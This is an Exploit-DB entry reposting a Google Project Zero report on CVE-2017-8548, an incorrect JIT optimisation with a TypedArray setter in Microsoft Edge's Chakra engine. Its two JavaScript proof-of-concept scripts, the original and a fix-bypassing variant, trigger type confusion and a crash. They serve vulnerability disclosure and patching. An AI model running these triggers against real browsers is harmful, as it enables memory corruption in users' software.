Microsoft Edge Chakra - Incorrect JIT Optimization with TypedArray Setter #2

EDB-ID: 42473
Author: Google Security Research
Published: 2017-08-17
CVE: CVE-2017-8548
Type: Dos
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1290 

I think the fix for #1045 is incorrect.

Here's the original PoC.

'use strict';

function func(a, b, c) {
a[0] = 1.2;
b[0] = c;
a[1] = 2.2;
a[0] = 2.3023e-320;
}

function main() {
var a = [1.1, 2.2];
var b = new Uint32Array(100);

// force to optimize
for (var i = 0; i < 0x10000; i++)
func(a, b, i);

func(a, b, {valueOf: () => {
a[0] = {};

return 0;
}});

a[0].toString();
}

main();


I just changed "var b = new Uint32Array(100);" to "var b = new Uint32Array(0);", and it worked well.

PoC:
-->

'use strict';

function func(a, b, c) {
a[0] = 1.2;
b[0] = c;
a[1] = 2.2;
a[0] = 2.3023e-320;
}

function main() {
var a = [1.1, 2.2];
var b = new Uint32Array(0); // <<--------- 100 -> 0

// force to optimize
for (var i = 0; i < 0x10000; i++)
func(a, b, i);

func(a, b, {valueOf: () => {
a[0] = {};

return 0;
}});

a[0].toString();
}

main();

Related Posts

Comments